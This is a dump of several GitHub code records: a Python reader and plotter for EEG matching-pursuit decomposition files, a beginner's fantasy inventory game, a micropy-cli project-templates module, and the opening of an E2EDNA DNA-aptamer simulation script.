msg = 'Gateway instance deleted'\n        httpResponse.FlashMessage(msg, 'info')\n\n    return httpResponse.WriteResponseRedirect('/gateways')\n\n#######\n","repo_name":"fablab-wue/ezPiC.Device.OLD","sub_path":"web/plugins/web/webGateway.py","file_name":"webGateway.py","file_ext":"py","file_size_in_byte":3478,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"30021917731","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import print_function, division\nimport numpy as np\nimport collections\nimport matplotlib.pyplot as py\nimport matplotlib.gridspec as gridspec\nimport sys\nfrom scipy.stats.stats import pearsonr\nfrom scipy import stats\nfrom operator import itemgetter\n\nclass BookImporter(object):\n\tdef __init__(self, book_file, id_min=1, id_max=1, t_min=0, t_max=1, atom_min=0, atom_max=5):\n\t\t'''\n\t\tinput arguments:\n\t\t\tbook_file\n\t\t\tid_min \t\t- index of minimal trial to plot\n\t\t\tid_max\t\t- index of maximal trial to plot\n\t\t\tt_min\t\t- down edge of time period to reconstruct\n\t\t\tt_max\t\t- upper edge of time period to reconstruct\n\t\t\tatom_min\t- minimal atom to plot\n\t\t\tatom_max\t- maximal atom to plot\n\n\t\tcomment:\n\t\t\tif we want to reconstruct only one atom then atom_min should equal atom_max\n\t\t'''\n\t\tsuper(BookImporter, self).__init__()\n\n\t\tf = open(book_file,'rb')\n\t\tdata, signals, atoms, epoch_s = self._read_book(f)\n\t\tself.epoch_s = epoch_s\n\t\tself.atoms = atoms\n\t\tself.signals = signals\n\t\tself.fs = data[5]['Fs']\n\t\tself.ptspmV = 0.0715\n\t\tself.id_min = id_min\n\t\tself.id_max = id_max\n\t\tself.t_min = t_min\n\t\tself.t_max = t_max\n\t\tself.atom_min = atom_min\n\t\tself.atom_max = atom_max\n\n\t\t# amps = self._get_atoms_peak2peak_amplitudes()\n\t\t\n\t\t# self.draw_reconstructed_signal()\n\t\tself.draw_mean_reconstructed_signal(atoms, signals)\n\n\t\t# amps = self._get_atoms_amplitudes()\n\t\t# self.amps = amps\n\t\t# print(np.median(amps))\n\t\t# print(amps[:10])\n\t\t# self.perform_linear_regression(amps)\n\n\t\t# t, f, E_a, sigt, signal_a, signal_reconstruction_a, alpha_mean = self.calculate_mean_map(df = 0.2, dt = 0.008, f_a = [2, 20])\n\t\t# self.alpha_mean = alpha_mean\n\t\t# print(pearsonr(amps,alpha_mean)) ### (Pearson’s correlation coefficient, 2-tailed p-value)\n\t\t# self.perform_linear_regression(alpha_mean)\n\t\t# print(np.median(alpha_mean))\n\n\t\t# t, f, E_a,sigt, signal_a, signal_reconstruction_a = self.calculate_map(self.atoms[2],self.signals[1][1][1], df = 0.2, dt = 0.008, f_a = [2, 20])\n\n\t\t# self.only_draw_map(t, f, E_a, sigt, signal_a, signal_reconstruction_a)\n\n\t\tpy.show()\n\n\tdef _get_type(self, ident, f):\n\t\t'''generacja dtype dla odczytania fragmentów, odpalana od razu,\n\t\tpo odczytaniu identyfikatora'''\n\t\t# print(ident)\n\t\tif ident == 1:\n\t\t\tcom_s = np.fromfile(f, '>u4', count=1)[0]\n\t\t\tif not com_s==0: ## comment\n\t\t\t\treturn np.dtype([('comment', 'S'+str(com_s))])\n\t\t\telse:\n\t\t\t\treturn None\n\t\t\t\t\n\t\telif ident == 2: ## header\n\t\t\thead_s = np.fromfile(f, '>u4', count=1)[0]\n\t\t\treturn None\n\t\t\t\n\t\telif ident == 3: ## www adress\n\t\t\twww_s = np.fromfile(f, '>u1', count=1)[0]\n\t\t\treturn np.dtype([('www', 'S'+str(www_s))])\n\t\t\t\n\t\telif ident == 4: ## data stworzenia pliku\n\t\t\tdate_s = np.fromfile(f, '>u1', count=1)[0]\n\t\t\treturn np.dtype([('date', 'S'+str(date_s))])\n\t\t\t\n\t\telif ident == 5: ## info o sygnale\n\t\t\tsig_info_s = np.fromfile(f, '>u1', count=1)[0]\n\t\t\treturn np.dtype([('Fs', '>f4'), ('ptspmV', '>f4'),\n\t\t\t\t\t\t\t('chnl_cnt', '>u2')])\n\t\t\t\t\t\t\t\n\t\telif ident == 6: ## info o dekompozycji\n\t\t\tdec_info_s = np.fromfile(f, '>u1', count=1)[0]\n\t\t\treturn np.dtype([('percent', '>f4'), ('maxiterations', '>u4'),\n\t\t\t\t\t\t\t('dict_size', '>u4'), ('dict_type', '>S1')])\n\t\t\t\t\t\t\t\n\t\telif ident == 10: #dirac\n\t\t\treturn\n\t\t\tatom_s = np.fromfile(f, '>u1', count=1)[0]\n\t\t\treturn np.dtype([('modulus', '>f4'), ('amplitude', '>f4'),\n\t\t\t\t\t\t\t('t', '>f4')])\n\t\t\t\t\t\t\t\n\t\telif ident == 11: #gauss\n\t\t\tatom_s = np.fromfile(f, '>u1', count=1)[0]\n\t\t\treturn np.dtype([('modulus', '>f4'), ('amplitude', '>f4'),\n\t\t\t\t\t\t\t('t', '>f4'), ('scale', '>f4')])\n\t\t\t\t\t\t\t\n\t\telif ident == 12: #sinus\n\t\t\treturn\n\t\t\tatom_s = np.fromfile(f, '>u1', count=1)[0]\n\t\t\treturn np.dtype([('modulus', '>f4'), ('amplitude', '>f4'),\n\t\t\t\t\t\t\t('f', '>f4'), ('phase', '>f4')])\n\t\t\t\t\t\t\t\n\t\telif ident == 13: #gabor\n\t\t\tatom_s = np.fromfile(f, '>u1', count=1)[0]\n\t\t\treturn np.dtype([('modulus', '>f4'), ('amplitude', '>f4'),\n\t\t\t\t\t\t\t('t', '>f4'), ('scale', '>f4'),\n\t\t\t\t\t\t\t('f', '>f4'), ('phase', '>f4')])\n\t\t\t\t\t\t\t\n\t\telse:\n\t\t\treturn None\n\t\t\t\n\tdef _get_signal(self, f, epoch_nr, epoch_s):\n\t\t'''uruchamiana przy odnalezieniu bloku sygnału'''\n\t\tsig_s = np.fromfile(f, '>u4', count=1)[0]\n\t\tchnl_nr = np.fromfile(f, '>u2', count=1)[0]\n\t\tsignal = np.fromfile(f, '>f4', count= epoch_s)\n\t\treturn chnl_nr, signal\n\t\t\n\tdef _get_atoms(self, f):\n\t\t'''uruchamiana przy odnalezieniu bloku atomów'''\n\t\tatoms = collections.defaultdict(list)\n\t\tatoms_s = np.fromfile(f, '>u4', count=1)[0]\n\t\ta_chnl_nr = np.fromfile(f, '>u2', count=1)[0]\n\t\tident = np.fromfile(f, '>u1', count=1)\n\t\twhile ident in [10, 11, 12, 13]:\n\t\t\tatom = np.fromfile(f, self._get_type(ident[0], f), count=1)[0]\n\t\t\tatoms[ident[0]].append(atom)\n\t\t\tident = np.fromfile(f, '>u1', count=1)\n\t\tf.seek(f.tell()-1)\n\t\treturn atoms, a_chnl_nr\n\t\t\n\tdef _gabor(self, amplitude, position, scale, afrequency, phase):\n\t\ttime = np.linspace(0, self.epoch_s/self.fs, self.epoch_s)\n\t\twidth = scale\n\t\tfrequency = afrequency*2*np.pi\n\t\tsignal = amplitude*np.exp(-np.pi*((time-position)/width)**2)*np.cos(frequency*(time-position) + phase)\n\t\treturn signal\n\n\tdef _read_book(self, f):\n\t\ttry:\n\t\t\tf = open(f, 'rb')\n\t\texcept Exception:\n\t\t\tf = f\n\t\tversion = np.fromfile(f, 'S6', count=1)\n\t\tprint('version: ',version[0])\n\t\tdata = {} # zachowanie danych z nagłówku\n\t\tident = np.fromfile(f, 'u1', count=1)[0]\n\t\tct = self._get_type(ident, f)\n\t\tsignals = collections.defaultdict(list)\n\t\tatoms = collections.defaultdict(list)\n\t\twhile ident:\n\t\t\tif ct:\n\t\t\t\tpoint = np.fromfile(f,ct, count=1)[0]\n\t\t\t\tdata[ident] = point\n\t\t\telif ident ==7:\n\t\t\t\tdata_s = np.fromfile(f, '>u4', count=1)[0]\n\t\t\t\tepoch_nr = np.fromfile(f, '>u2', count=1)[0]\n\t\t\t\tepoch_s = np.fromfile(f, '>u4', count=1)[0]\n\t\t\t\t#print('epoch_s', epoch_s)\n\t\t\telif ident == 8:\n\t\t\t\tchnl_nr, signal = self._get_signal(f, epoch_nr, epoch_s)\n\t\t\t\tsignals[epoch_nr].append([chnl_nr, signal])\n\t\t\n\t\t\telif ident == 9:\n\t\t\t\tpl = f.tell()\n\t\t\t\tatom, a_chnl_nr = self._get_atoms(f)\n\t\t\t\tatoms[a_chnl_nr] = atom\n\t\t\t\n\t\t\tident = np.fromfile(f, '>u1', count=1)\n\t\t\tif ident:\n\t\t\t\tident = ident[0]\n\t\t\tct = self._get_type(ident, f)\n\t\treturn data, signals, atoms, epoch_s\n\n\tdef _get_atoms_amplitudes(self):\n\t\tamps = []\n\t\tfor trial in self.atoms.keys():\n\t\t\tamps_temp = []\n\t\t\tfor i,atom in enumerate(self.atoms[trial][13]):\n\t\t\t\tposition  = atom['t']/self.fs\n\t\t\t\twidth     = atom['scale']/self.fs/2\n\t\t\t\tfrequency = atom['f']*self.fs/2\n\t\t\t\tamplitude = atom['amplitude']\n\t\t\t\tphase \t  = atom['phase']\n\t\t\t\tif self.t_min<position<self.t_max:\n\t\t\t\t\tif self.atom_min <= i <= self.atom_max:\n\t\t\t\t\t\tamps_temp.append(amplitude)\n\t\t\t# print(amps_temp)\n\t\t\tamps.append(max(amps_temp))\n\t\treturn amps\t\n\n\tdef _find_extrema(self, signal):\n\t\tderiv = np.gradient(signal)\n\t\tderiv[np.where(deriv < 0)] = -1\n\t\tderiv[np.where(deriv > 0)] = 1\n\t\td = list(deriv)\n\t\tamps = []\n\t\ttemp = 0\n\t\tdata = []\n\t\tfor j,i in enumerate(d):\n\t\t\ttry:\n\t\t\t\tif i == d[j-1] and i == 1:\n\t\t\t\t\tif temp == 0:\n\t\t\t\t\t\tstart = j-1\n\t\t\t\t\ttemp += 1\n\t\t\t\telse:\n\t\t\t\t\tif temp != 0:\n\t\t\t\t\t\tdata.append((start,temp))\n\t\t\t\t\ttemp = 0\n\t\t\texcept:\n\t\t\t\tpass\n\t\tfor frag in data:\n\t\t\tslope_start = frag[0]\n\t\t\tslope_end = frag[0] + frag[1]\n\t\t\tamps.append(abs(signal[slope_end] - signal[slope_start]))\n\t\treturn max(amps)\n\n\tdef _get_atoms_peak2peak_amplitudes(self):\n\t\tamps = []\n\t\tfor trial in self.atoms.keys():\n\t\t\tsignal_reconstruction = self.reconstruct_signal_freq(self.atoms[trial])\n\t\t\tamps.append(self._find_extrema(signal_reconstruction))\n\t\t\t# py.figure(str(trial))\n\t\t\t# py.plot(signal_reconstruction)\n\t\t\t# py.show()\n\t\treturn amps\t\n\n\tdef draw_mean_reconstructed_signal(self, atoms, signals):\n\t\tN = len(atoms.keys())\n\t\ttpr = len(signals[1][0][1])\n\t\tt = np.arange(0, tpr/self.fs, 1/self.fs)\n\t\tfor i,trial in enumerate(atoms.keys()):\n\t\t\tsignal_reconstruction = self.reconstruct_signal_freq(atoms[trial])\n\t\t\tsignal = signals[1][i][1]\n\t\t\ttry:\n\t\t\t\tsignal_a += signal\n\t\t\t\tsignal_reconstruction_a += signal_reconstruction\n\t\t\texcept Exception as a:\n\t\t\t\tprint(a, 'objection')\n\t\t\t\tsignal_a = signal\n\t\t\t\tsignal_reconstruction_a = signal_reconstruction\n\t\tsignal_a /= N\n\t\tsignal_reconstruction_a /= N\n\t\tpy.figure('Mean')\n\t\tt = np.linspace(-0.5, 1, tpr)\n\t\tpy.plot(t,signal_reconstruction_a,color='g',label='rekonstrukcja')\n\t\tpy.plot(t,signal_a,color='m',label=u'sygnał')\n\t\t# py.ylim(-15,20)\n\t\tpy.xlim(-0.5,1)\n\t\tpy.ylabel(u'Amplituda [$\\\\mu$V]')\n\t\tpy.xlabel(u'Czas [s]')\n\t\tpy.axvline(x=0,color='r')\n\t\t# py.axvline(x=0.3,color='r')\n\t\tpy.legend()\n\n\tdef draw_reconstructed_signal(self):\n\t\ttpr = len(self.signals[1][0][1])\n\t\t# t = np.arange(-0.5, tpr/self.fs, 1/self.fs)\n\t\tt = np.linspace(-0.5, 1, tpr)\n\t\tfor i,trial in enumerate(self.atoms.keys()):\n\t\t\tif i in xrange(self.id_min, self.id_max+1):\n\t\t\t\tsignal_reconstruction = self.reconstruct_signal_freq(self.atoms[trial])\n\t\t\t\tsignal = self.signals[1][i][1] #- np.mean(self.signals[1][i][1][:0.5*self.fs])\n\t\t\t\t# amp = np.mean(self.signals[1][i][1][0.25*self.fs:0.35*self.fs])\n\t\t\t\t# amp_sig.append(amp)\n\t\t\t\tpy.figure('Trial '+str(i))\n\t\t\t\tpy.plot(t,signal_reconstruction,color='g',label='rekonstrukcja')\n\t\t\t\tpy.plot(t,signal,color='m',label='sygnal')\n\t\t\t\t# py.axvline(x=0.3,color='r')\n\t\t\t\tpy.axvline(x=0,color='r')\n\t\t\t\tpy.ylabel(u'Amplituda [$\\\\mu$V]')\n\t\t\t\tpy.xlabel(u'Czas [s]')\n\t\t\t\tpy.ylim(-30,40)\n\t\t\t\tpy.xlim(-0.5,1)\n\t\t\t\tpy.legend()\n\n\n\tdef reconstruct_signal_freq(self, atoms):\n\t\treconstruction = np.zeros(self.epoch_s)\n\t\tfor i,atom in enumerate(atoms[13]):\n\t\t\tposition  = atom['t']/self.fs\n\t\t\twidth     = atom['scale']/self.fs\n\t\t\tfrequency = atom['f']*self.fs/2\n\t\t\tamplitude = atom['amplitude']\n\t\t\tphase \t  = atom['phase']\n\t\t\t# if self.t_min < position < self.t_max:\n\t\t\tif self.atom_min <= i < self.atom_max+1:\n\t\t\t\treconstruction = reconstruction + self._gabor(amplitude, position, width, frequency, phase)\n\t\treturn reconstruction\n\n\tdef perform_linear_regression(self, amps):\n\t\ty = np.linspace(1,len(amps),len(amps))\n\t\tA = np.array([y, np.ones(len(amps))])\n\t\tw = np.linalg.lstsq(A.T,amps)[0]\n\t\tline = w[0]*y+w[1]\n\t\tpy.figure()\n\t\tpy.plot(y,line,'r-',y,amps,'o')\n\t\tpy.ylim(-5,22)\n\t\tpy.ylabel(u'Amplituda [$\\\\mu$V]')\n\t\tpy.xlabel('Realizacje')\n\n################ rysowanie mapy\n# 8 Hz < f < 12 Hz\n# a > 5 µV\n# s > 1.5 s\n\n\tdef calculate_mean_map(self,df = 0.05, dt = 1/256., f_a = [0, 64.]):\n\t\tN = len(self.atoms.keys())\n\t\ttpr = len(self.signals[1][0][1])\n\t\t# sigt = np.arange(0, tpr/self.fs, 1/self.fs)\n\t\tsigt = np.linspace(-0.5, 1, tpr)\n\t\talpha_mean = []\n\t\tfor nr, chnl in enumerate(self.atoms.keys()):\n\t\t\tt, f, E, sigt_s,s_s,sr_s = self.calculate_map(self.atoms[chnl],self.signals[1][nr][1], df, dt,  f_a = f_a)\n\t\t\talpha_recon = self._calculate_alpha_power(self.atoms[chnl],self.signals[1][nr][1], df, dt,  f_a = f_a)\n\t\t\talpha_mean.append(sum(alpha_recon))\n\t\t\tsignal_reconstruction = self._reconstruct_signal(self.atoms[chnl])\n\t\t\tsignal = self.signals[1][nr][1]\n\t\t\ttry:\n\t\t\t\tsignal_a += signal\n\t\t\t\tE_a += E\n\t\t\t\tsignal_recontruction_a += signal_reconstruction\n\t\t\texcept Exception as a:\n\t\t\t\t# print(a)\n\t\t\t\tsignal_a = signal\n\t\t\t\tE_a = E\n\t\t\t\tsignal_recontruction_a = signal_reconstruction\n\t\tsignal_a /= N\n\t\tsignal_recontruction_a /= N\n\t\tE_a /= N\n\t\treturn t, f, E_a, sigt, signal_a, signal_recontruction_a,alpha_mean\n\n\tdef calculate_map(self,atoms,signal, df, dt, contour=0, f_a = [0, 64.]):\n\t\t''' atoms - dictionary with trials/channels; for each dictionary with \n\t\tatoms 4 different atom's types (10,11,12,13-Gabors)'''\n\t\ttpr = len(signal)\n\t\tf = np.arange(f_a[0], f_a[1], df)\n\t\tt = np.arange(0, tpr/self.fs, dt)\n\t\tlent = len(t)\n\t\tlenf = len(f)\n\t\tE = np.zeros((lent, lenf)).T\n\t\tt, f = np.meshgrid(t, f)\n\t\tsigt = np.arange(0, tpr/self.fs, 1/self.fs)\n\t\tfor atom in atoms[13]:\n\t\t\texp1 = np.exp(-2*(atom['scale']/self.fs)**(-2)*(t-atom['t']/self.fs)**2)\n\t\t\texp2 = np.exp(-2*np.pi**2 *(atom['scale']/self.fs)**2*(atom['f']*self.fs/2-f)**2)\n\t\t\twigners = ((atom['amplitude']/self.ptspmV)**2 * (2*np.pi)**0.5 * \n\t\t\t\t\t\tatom['scale']/self.fs*exp1*exp2)\n\t\t\tE += atom['modulus']**2 * wigners\n\t\tfor atom in atoms[12]:\n\t\t\tamp =  atom['modulus']**2*(atom['amplitude']/self.ptspmV)**2\n\t\t\tE[:,int(len(f)*atom['f']/(2*np.pi))] +=  amp\n\t\tfor atom in atoms[11]:\n\t\t\texp1 = np.exp(-2*(atom['scale']/self.fs)**(-2)*(t-atom['t']/self.fs)**2)\n\t\t\texp2 = np.exp(-2*np.pi**2 *(atom['scale']/self.fs)**2*(-f)**2)\n\t\t\twigners = ((atom['amplitude']/self.ptspmV)**2 * (2*np.pi)**0.5 * \n\t\t\t\t\t\tatom['scale']/self.fs*exp1*exp2)\n\t\t\tE += atom['modulus']**2 * wigners\n\t\tfor atom in atoms[10]:\n\t\t\tamp =  atom['modulus']**2*(atom['amplitude']/self.ptspmV)**2\n\t\t\tE[int(lent*atom['t']/tpr)] +=  amp\t\n\t\tsignal_reconstruction = self._reconstruct_signal(atoms)\n\t\treturn t, f, np.log(E), sigt, signal, signal_reconstruction\n\n\t# def _calculate_alpha_power(self,atoms,signal, df, dt, contour=0, f_a = [0, 64.]):\n\t# \ttpr = len(signal)\n\t# \tf = np.arange(f_a[0], f_a[1], df)\n\t# \tt = np.arange(0, tpr/self.fs, dt)\n\t# \tlent = len(t)\n\t# \tlenf = len(f)\n\t# \tE = np.zeros((lent, lenf)).T\n\t# \tt, f = np.meshgrid(t, f)\n\t# \tsigt = np.arange(0, tpr/self.fs, 1/self.fs)\n\t# \tfor atom in atoms[13]:\n\t# \t\tfreq = atom['f']*self.fs/2\n\t# \t\tamp = 2*atom['amplitude']/self.ptspmV\n\t# \t\tscale = atom['scale']/self.fs\n\t# \t\tposition = atom['t']/self.fs\n\t# \t\t# print(freq,position,scale)\n\t# \t\tif 8 < freq < 12: # and position < 0.5:\n\t# \t\t\tprint(freq,position,scale)\n\t# \t\t\texp1 = np.exp(-2*(atom['scale']/self.fs)**(-2)*(t-atom['t']/self.fs)**2)\n\t# \t\t\texp2 = np.exp(-2*np.pi**2 *(atom['scale']/self.fs)**2*(atom['f']*self.fs/2-f)**2)\n\t# \t\t\twigners = ((atom['amplitude']/self.ptspmV)**2 * (2*np.pi)**0.5 * \n\t# \t\t\t\t\t\tatom['scale']/self.fs*exp1*exp2)\n\t# \t\t\tE += atom['modulus']**2 * wigners\n\t# \treturn np.mean(np.mean(E))\n\n\tdef _calculate_alpha_power(self,atoms,signal, df, dt, contour=0, f_a = [0, 64.]):\n\t\treconstruction = np.zeros(self.epoch_s)\n\t\tfor atom in atoms[13]:\n\t\t\tamplitude = atom['amplitude']\n\t\t\tposition  = atom['t']/self.fs\n\t\t\twidth     = atom['scale']/self.fs\n\t\t\tfrequency = atom['f']*self.fs/2\n\t\t\tphase \t  = atom['phase']\n\t\t\tif 8 < frequency < 12 and position < 0.5:\n\t\t\t# if 13 < frequency < 30 and position < 0.5: #and amplitude > 5:\n\t\t\t\t# print(frequency,position,width)\n\t\t\t\treconstruction = reconstruction + self._gabor(amplitude,position,width,frequency,phase)\n\t\treturn np.abs(reconstruction)**2\n\n\tdef only_draw_map(self, t, f, E_a, sigt, signal_a, signal_recontruction_a, contour=False):\n\t\t# tp = np.linspace(-0.5, 1, 10)\n\t\tfig = py.figure()\n\t\tgs = gridspec.GridSpec(2,1, height_ratios=[3,1])\n\t\tax1 = fig.add_subplot(gs[0])\n\t\tax1.set_ylabel(u'Czestosc [Hz]')\n\t\tax1.set_title(sys.argv[-1])\n\t\tif contour:\n\t\t\tax1.contour(t, f, E_a)\n\t\telse:\n\t\t\tax1.pcolor(t, f, E_a)\n\t\t# ax1.set_xticklabels(tp)\n\t\tax2 = fig.add_subplot(gs[1])\n\t\tax2.plot(sigt, signal_a, 'red')\n\t\tax2.plot(sigt, signal_recontruction_a, 'blue')\n\t\tax2.axvline(x=0,color='r')\n\t\tax2.set_ylabel(u'Amplituda [$\\\\mu$V]')\n\t\tax2.set_xlabel(u'Czas [s]')\n\t\tax2.set_xlim(-0.5,1)\n\n\tdef _reconstruct_signal(self, atoms):\n\t\treconstruction = np.zeros(self.epoch_s)\n\t\tfor atom in atoms[13]:\n\t\t\tposition  = atom['t']/self.fs\n\t\t\twidth     = atom['scale']/self.fs\n\t\t\tfrequency = atom['f']*self.fs/2\n\t\t\tamplitude = atom['amplitude']\n\t\t\tphase = atom['phase']\n\t\t\t# print(amplitude)\n\t\t\treconstruction = reconstruction + self._gabor(amplitude,position,width,frequency,phase)\n\t\treturn reconstruction\n\n\nif __name__ == '__main__':\n\n\t# fstr = './wybrane/newMP/Cz/MMP1_compatible_group_nogo_longer_mmp.b'\n\n\t# fstr = './wybrane/MMP1_compatible_ind_go_mmp.b'\n\t\n\t# fstr = './wybrane/MMP2_compatible_ind_go_mmp.b'\n\t# fstr = './wybrane/MMP3_compatible_ind_go_mmp.b'\n\n\t# fstr = './wybrane/MMP1_compatible_ind_go_longer_mmp.b'\n\n\t###### dekompozycja średnich wszystkich badanych \n\t# fstr = './wybrane/newMP/Cz/MEANS/FILT/MMP3_MEANS_GROUP_FILT_mmp.b'\n\t# b = BookImporter(fstr, id_min=0, id_max=10, t_min=0, t_max=1.5, atom_min=0, atom_max=0)\n\t# ampsg = b.amps\n\n\t# fstr = './wybrane/newMP/Cz/MEANS/FILT/MMP3_MEANS_INDIVIDUAL_FILT_mmp.b'\n\t# b = BookImporter(fstr, id_min=0, id_max=10, t_min=0, t_max=1.5, atom_min=0, atom_max=0)\n\t# ampsi = b.amps\n\t# print(stats.ranksums(ampsg,ampsi)[1])\n\t\n\t###### pojedyncze amplitudy + alpha\n\t# fstr = './wybrane/newMP/Cz/MMP1_compatible_ind_nogo_longer_mmp.b'\n\t# b = BookImporter(fstr, id_min=0, id_max=10, t_min=0, t_max=1.5, atom_min=2, atom_max=2)\n\t# ind_comp = b.amps\n\t# ind_c_alpha = b.alpha_mean\n\t# fstr = './wybrane/newMP/Cz/MMP1_incompatible_ind_nogo_longer_mmp.b'\n\t# b = BookImporter(fstr, id_min=0, id_max=10, t_min=0, t_max=1.5, atom_min=2, atom_max=2)\n\t# ind_incomp = b.amps\n\t# ind_inc_alpha = b.alpha_mean\n\n\t# ind = ind_comp + ind_incomp\n\t# ind_alp = ind_c_alpha + ind_inc_alpha\n\n\t# fstr = './wybrane/newMP/Cz/MMP1_incompatible_group_nogo_longer_mmp.b'\n\t# b = BookImporter(fstr, id_min=0, id_max=10, t_min=0, t_max=1.5, atom_min=1, atom_max=1)\n\t# gr_comp = b.amps\n\t# gr_c_alpha = b.alpha_mean\n\t# fstr = './wybrane/newMP/Cz/MMP1_compatible_group_nogo_longer_mmp.b'\n\t# b = BookImporter(fstr, id_min=0, id_max=10, t_min=0, t_max=1.5, atom_min=1, atom_max=1)\n\t# gr_incomp = b.amps\n\t# gr_inc_alpha = b.alpha_mean\n\n\t# gr = gr_incomp + gr_comp\n\t# gr_alp = gr_inc_alpha + gr_c_alpha\n\n\t# # # print(pearsonr(gr_comp,gr_c_alpha))\n\t# print(pearsonr(ind_comp,ind_c_alpha))\n\t# print(pearsonr(ind_incomp,ind_inc_alpha))\n\t# print(pearsonr(gr_comp,gr_c_alpha))\n\t# print(pearsonr(gr_incomp,gr_inc_alpha))\n\n\t# # print(stats.shapiro(gr)[1],stats.shapiro(ind)[1])\n\t# print(stats.kruskal(gr,ind)[1])\n\t#######\n\n\t####### do pojedynczych - warunek go\n\tfstr = './wybrane/newMP/Cz/MMP1_compatible_ind_go_longer_mmp.b'\n\tb = BookImporter(fstr, id_min=0, id_max=10, t_min=0, t_max=1.5, atom_min=0, atom_max=1)\t\n","repo_name":"magdalena1/simon","sub_path":"mp5/book_importer.py","file_name":"book_importer.py","file_ext":"py","file_size_in_byte":17418,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"10651001766","text":"\nimport random\n#Player stats\ndeff = 0\natk = 1\nhealth = 100\nshield = 50\ninv = []\nequip = []\nmax_inv = 10\n#Bag Setup\nbags_inv = (\"Drooma\", \"Pointard\", \"Food\", \"Sword\", \"Wits\", \"Ring\",\n             \"Bubble Fruit\")\nmax_bags = 5\nitems = random.randint(1, max_bags)\nbags = []\nfor i in range (items):\n    bags.append (random.choice(bags_inv))\n#This is where you pick what items you want and use them\nif inv:\n    print(inv)\nelse:\n    print(\"You have nothing, you left it all at the campsite\")\n    input(\"Visit local tavern to restock\")\n    for items in bags:\n        inv.append(items)\n\nfor items in inv:\n    if items == \"healing potion\":\n        health += 50\n        inv.remove(\"healing potion\")\n    if items == (\"Bubble Fruit\"):\n        health += 70\n        inv.remove(\"Bubble Fruit\")\n\nfor items in inv:\n    if i == \"Shield\":\n        print(\"You put on a shield\")\n        deff += 50\n        equip.append(\"Shield\")\n        inv.remove(\"Shield\")\n    if i == \"Ring\":\n        print(\"You showed the ring to survive\")\n        deff += 25\n        inv.remove(\"Ring\")\n\nfor items in inv:\n    if i == \"Poniard\":\n        print(\"You pulled out your poniard\")\n        deff += 30\n        inv.remove(\"Poniard\")\n    if i == \"Sword\":\n        print(\"You pulled out your sword\")\n        deff += 25\n        inv.remove(\"Sword\")\n    if i == \"Orantium\":\n        print(\"You pulled your orantium out\")\n        deff +=20\n        inv.remove(\"Orantium\")\n    if i == \"Wits\":\n        print(\"You used your wits\")\n        deff += 50\n        inv.remove(\"Wits\")\n\nprint(health)\nprint(equip)\nprint(inv)\n#You have to run away from your campsite and have to leave items behind. This allows you to pick what you lose.\nmax_bags = 15\nitems = random.randint(1,max_bags)\nbags = []\nfor i in range (items):\n    bags.append(random.choice( bags_inv))\n\ninput (\"Press enter to open chest\")\nfor i in bags:\n    inv.append(i)\n\nif len(inv) > max_inv:\n    x =  len(inv) - max_inv\n    print(inv)\n    print(\"You need to remove \" +str(x)+\" items\")\n    while x > 0:\n        item = input(\"What item do you want to remove\")\n        inv.remove(item)\n        x -=1\n    print(inv)\n\n\n\n\n\n\n","repo_name":"Daniel8331/Python-Portfolio","sub_path":"Term 2/Fantasy_Hero.py","file_name":"Fantasy_Hero.py","file_ext":"py","file_size_in_byte":2113,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"22542308329","text":"\"\"\"Project Templates Module.\"\"\"\n\n\nfrom micropy.project.modules import ProjectModule\nfrom micropy.project.template import TemplateProvider\n\n\nclass TemplatesModule(ProjectModule):\n    \"\"\"Project Templates Module.\n\n    Generates and manages project files using the Projects\n    context.\n\n    Args:\n        templates (List[str]): List of templates to use.\n        run_checks (bool, optional): Whether to execute checks or not.\n            Defaults to True.\n\n    \"\"\"\n\n    PRIORITY: int = 1\n    TEMPLATES = TemplateProvider.TEMPLATES\n    _dynamic = [\"vscode\", \"pylint\"]\n\n    def __init__(self, templates=None, run_checks=True, **kwargs):\n        self._templates = templates or []\n        super().__init__(**kwargs)\n        self.run_checks = run_checks\n\n    @property\n    def config(self):\n        \"\"\"Template config.\n\n        Returns:\n            dict: Current configuration\n\n        \"\"\"\n        return self.parent.config\n\n    def get_provider(self, templates):\n        return TemplateProvider(templates, run_checks=self.run_checks, log=self.log)\n\n    def load(self, **kwargs):\n        \"\"\"Loads project templates.\"\"\"\n        self.provider = self.get_provider(self.config.get(\"config\"))\n        templates = [k for k, v in self.config.get(\"config\").items() if v]\n        self.log.debug(f\"Loading Templates: {templates}\")\n        self.provider = TemplateProvider(templates, **kwargs)\n        self.update()\n\n    def create(self):\n        \"\"\"Generates project files.\n\n        Returns:\n            dict: Project context\n\n        \"\"\"\n        self.log.title(\"Rendering Templates\")\n        self.log.info(\"Populating Stub Info...\")\n        for key in self._templates:\n            if key in self._dynamic:\n                self.config.add(\"config\" + \"/\" + key, True)\n        self.provider = self.get_provider(self._templates)\n        for t in self.provider.templates:\n            self.provider.render_to(t, self.parent.path, **self.parent.context.raw())\n        self.log.success(\"Stubs Injected!\")\n        return self._templates\n\n    def update(self):\n        \"\"\"Updates project files.\n\n        Returns:\n            dict: Project context\n\n        \"\"\"\n        self.provider = self.get_provider(self.config.get(\"config\"))\n        self.log.debug(f\"updating templates with context: {self.parent.context.raw()}\")\n        for tmp in self.provider.templates:\n            self.provider.update(tmp, self.parent.path, **self.parent.context.raw())\n        return self.parent.context\n","repo_name":"BradenM/micropy-cli","sub_path":"micropy/project/modules/templates.py","file_name":"templates.py","file_ext":"py","file_size_in_byte":2454,"program_lang":"python","lang":"en","doc_type":"code","stars":289,"dataset":"github-code","pt":"3"}
+{"seq_id":"35880032954","text":"import argparse\nimport glob\nimport os\nimport platform\nimport shutil\nfrom pathlib import Path\nimport yaml\nfrom opendna import *\nimport warnings\nwarnings.filterwarnings(\"ignore\", category=DeprecationWarning)\n\n\nparser = argparse.ArgumentParser(\n    description='E2EDNA: Simulate DNA aptamers complexed with target ligands',\n    formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n\ncompute_info = parser.add_argument_group('Compute Platform Configuration')\npaths = parser.add_argument_group('Directory Settings')\nrun_info = parser.add_argument_group('Run Parameters')\n\n\n# =========================== YAML configuration file ===========================\nparser.add_argument('-yaml',\n                         '--yaml_config',\n                         metavar='\\b', # now to show metavar in usage message\n                         type=str,\n                         default='simu_config.yaml',\n                         required=True,\n                         help='A YAML configuration file that can specify all the 